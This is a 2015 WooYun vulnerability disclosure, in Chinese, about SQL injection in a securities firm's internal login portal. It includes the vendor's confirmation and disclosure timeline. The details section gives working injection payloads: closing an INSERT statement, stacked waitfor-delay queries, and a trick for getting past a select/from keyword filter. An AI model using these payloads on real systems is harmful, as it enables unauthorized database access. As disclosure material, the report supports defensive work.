当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0149755

漏洞标题:西南证券某重要系统SQL注入

相关厂商:西南证券股份有限公司

漏洞作者: wps2015

提交时间:2015-10-27 11:13

修复时间:2015-12-11 14:26

公开时间:2015-12-11 14:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-27: 细节已通知厂商并且等待厂商处理中
2015-10-27: 厂商已经确认,细节仅向厂商公开
2015-11-06: 细节向核心白帽子及相关领域专家公开
2015-11-16: 细节向普通白帽子公开
2015-11-26: 细节向实习白帽子公开
2015-12-11: 细节向公众公开

简要描述:

给运维找点事情做做

详细说明:

问题站点:http://eip.swsc.com.cn/SSO/Login.aspx (内部门户登录系统)
用户名处单引号测了一下,报错了

1.png


看了下是“171.217”附近有语法错误,而这个明显是ip地址,burp抓包看了一下,没有x-forward-for和client ip头信息,那么获取ip的方式应该就是remote address了。这样的话,在头信息上注入就没戏了。这时候只有不停的尝试一下,发现还有',')'的报错信息,其实如果经验更丰富些,这个时候就改想到什么了,但是由于本人新手,大概知道前方有括号好闭合,经历了各种报错注入的尝试后:在用户名后插入 ')-- - 后,终于。。

2.png


好吧,到这里大家应该知道了,前面是insert语句,我们可以理解为前方高能,是select 语句与insert语句的混合,但是select语句附近没有问题,我们的单引号引发了insert语句的报错,好吧,我们也不去纠结前面的语句的构造了。我们先是构造如下:

‘,1)-- -


然后根据报错信息,依次增加value字句中的值的列数,直到不再报错为止,于是,最终闭合的句子如下:

',1,1,1,1)-- -


由于mssql可执行多语句,我们先尝试是否可以延时注入,',1,1,1,1); waitfor delay '00:00:05' ;-- a 发现网页半天没有返回结果,而且最后,

3.png


似乎出现了什么问题。好吧目测有关键字的waf,经过测试目测过滤了 waitfor , select .... from 等字段,尝试unicode某些字母

',1,1,1,1); waitfo\u0072 delay '00:00:05' ;-- a


4.png


我们的unicode编码部分被吃掉了,看来这样的方式不得行。再试试报错注入

',1,1,1,1);select 1 from master where 1=user -- -


但是这里select ....from 被过滤了,那么我么就干脆不要from,直接。

',1,1,1,1);select 1  where 1=user -- -   或者     ',1,1,1,(select 1 where 1=user)); -- a


8.png


成功注入

漏洞证明:

8.png

修复方案:

过滤

版权声明:转载请注明来源 wps2015@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-10-27 14:25

厂商回复:

非常感谢,洞主思路清晰,手法一流,望继续给出修复方案。

最新状态:

暂无